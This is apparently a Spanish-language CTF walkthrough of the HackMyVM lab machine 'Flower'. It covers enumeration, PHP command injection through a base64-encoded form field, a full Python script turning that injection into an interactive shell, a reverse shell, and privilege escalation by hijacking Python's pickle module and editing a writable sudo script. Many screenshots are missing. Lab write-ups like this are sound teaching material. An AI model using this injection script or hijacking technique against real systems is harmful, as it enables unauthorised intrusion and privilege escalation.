Responsive image

HackMyVM - Flower

2 junio 2021

Esta máquina se encuentra en la plataforma HackMyVM y ha sido creada por el usuario alienum.

Es una máquina muy interesante debido al uso de burpsuite para conseguir acceso y a la creación de un script de python para crear un pseudo-terminal.

# Dificultad
Acceso Fácil
Escalada de privilegios Fácil

Enumeración


Como todas las máquinas de esta plataforma es necesario conocer la dirección IP de la máquina. Para ello utilizaré la herramienta ping-sweep con el modo de descubrimiento de sistema operativo para poder avanzar más rápido en la enumearción. El motivo de utilizar esta herramienta y no otra basada en el protocoo ARP se debe a que despliego las máquinas en una red privada que utilizo como laboratorio y distinta a la red local, por lo que un descubrimiento mediante ARP no detectará las máquinas.

error loading image :(

La herramienta ha detectado 4 IP:

Una vez identificada la máquina objetivo se comienza con el escaneo de puertos. Como es habitual para el escaneo se utiliza nmap y se divide en dos fases: la primera de un escaneo rápido de los 65535 puertos para detectar aquellos abiertos y la segunda para realizar una enumeración más exahustiva usando scripts básicos de los puertos abiertos.

error loading image :(

Tras el escaneo básico se utiliza la herramienta get-ports para copiar los puertos en la clipboard y facilitar el segundo escaneo.

error loading image :(

error loading image :(

El escaneo solo ha descubierto el puerto 80 con el servicio Apache httpd 2.4.38. Se utiliza la herramienta whatweb para realizar una enumeración básica de este servicio.

error loading image :(

Whatweb no ha descubierto nada interesante, algo extraño por lo que se utiliza el navegador para ver si existe contenido en esa web.

error loading image :(

La web es un contador de pétalos de distintos tipos de flor. Para poder jugar con esta web de forma más dinámica se va a utilizar Burp Suite.

En Burp Suite se realiza una primera petición y se manda al repeter. Una vez esto se van probando distintos payloads de la petición POST en búsqueda de un RCE (Remote Command Execution).

error loading image :(

La petición POST envía un contenido codificado como base64, este contenido se decodifica y se descubre que se envía una operación suma al servidor.

error loading image :(

Probando a codificar una suma distinta, por ejemplo 100+100 el servidor debería responder 200 petals.

error loading image :(

Exactamente, ahora podemos utilizar el servidor como calculadora. Sin embargo, lo que interesa es poder ejecutar comandos a nivel de sistema para lo que habrá que probar distintas configuraciones hasta dar con la forma de ejecutar comandos.

Tras varias pruebas se da con que la forma de ejecutar comandos es con la inyección PHP → system('comando') y codificado en base64.

error loading image :(

Ganar acceso


A continuación, se crea un script en Python3 para facilitar el proceso de inyección de comandos formateando la salida y crear un pseudo-terminal con el que poder trabajar más fácilmente.

#!/usr/bin/python3

import requests as request
import base64
import os

url = "http://10.10.10.101/index.php"


while True:
	cmd = input(">")
	cmd = "system('" + cmd + " | base64;')"
	cmd = cmd.encode("ascii")
	cmd = base64.b64encode(cmd)
	data = {"petals": cmd}
	#print(data)
	response = request.post(url, data=data)

	response_data = response.text
	response_data = response_data.split("\n")
	
	for r in range(len(response_data)):
		response_data[r] = response_data[r].replace("     ", "").replace("\t", "").replace("   ", "")

	h2_init = response_data.index("<h2>") + 1
	h2_end = response_data.index("</h2>") - 1

	#print(h2_init)
	#print(h2_end)

	#print(response.text)
	#print(len(response_data))
	#print(response_data)
	#print(response_data[len(response_data)-1-5])
	cmd_response = response_data[h2_init:h2_end]

	output64 = ''.join(cmd_response)
	output = str(base64.b64decode(output64))[2:-3]
	output = output.replace("\\n", "\n")
	print(output)

error loading image :(

Ahora hay que convertir el pseudo-terminal en un terminal real ejecutando una Reverse Shell.

Primero se comprueba cual es la dirección IP de la máquina del atacante para saber a qué dirección IP hay que enviar la Reverse Shell

error loading image :(

Se utiliza netcat para escuchar en el puerto 443 y se envía por la pseudo-terminal previamente creada la instrucción para enviar una Reverse Shell hasta la máquina de atacante.

error loading image :(
error loading image :(

Ahora se realiza un tratamiento de la TTY para poder interactuar con la reverse shell como si fuese una terminal normal y poder utilizar CTRL+C, CTRL+L, CTRL+SHIFT+C, etc. TheHackerSnow tiene una página dedicada al tratamiento de TTY que explica en gran detalle todo lo necesario para realizarlo: https://thehackersnow.com/tratamiento-de-una-tty/.

error loading image :(

Ya se ha conseguido acceso a la máquina ahora a empezar con la escalada de privilegios.


Escalada de privilegios


Primero se averiguan los usuarios del sistema consultado en archivo /etc/passwd y se descubre que existe el usuario "rose".

error loading image :(

Ahora se comprueban los privilegios que tiene el usuario www-data y se ve que tiene permisos para ejecutar /usr/bin/python3 sobre el archivo /home/rose/diary/diary.py como el usuario rose.

error loading image :(

Viendo el archivo diary.py se comprueba que hace uso de una librería de python llamada pickle. Para escalar al usuario rose se prueba un library hijacking sobre esta librería. Para realizar este ataque se crea un achivo pickle.py en el mismo directorio que diary.py con el siguiente contenido.

import os
os.system('/bin/bash')

Ahora al ejecutar el archivo diary.py con sudo como el usuario rose deberá ejecutarse la librería maliciosa generando una bash como el usuario rose.

error loading image :(

Una vez siendo rose se puede consultar el contenido del archivo user.txt y recuperar la flag de user.

error loading image :(

Ahora hay que escalar a root, para ello se comprueban los privilegios de rose y se ve que puede ejecutar como root el archivo .plantbook

error loading image :(

El archivo .plantbook es un script de bash ejecutable con el siguiente contenido.

error loading image :(

Comprobando los permisos de rose sobre ese archivo se observa que tiene permisos de escritura. Por lo que para la escalada a root simplemente se modifica el archivo incluyendo al final la ejecución de una bash privilegiada.

error loading image :(

Siendo root ya puede consultarse la flag root.txt y terminar el CTF.

error loading image :(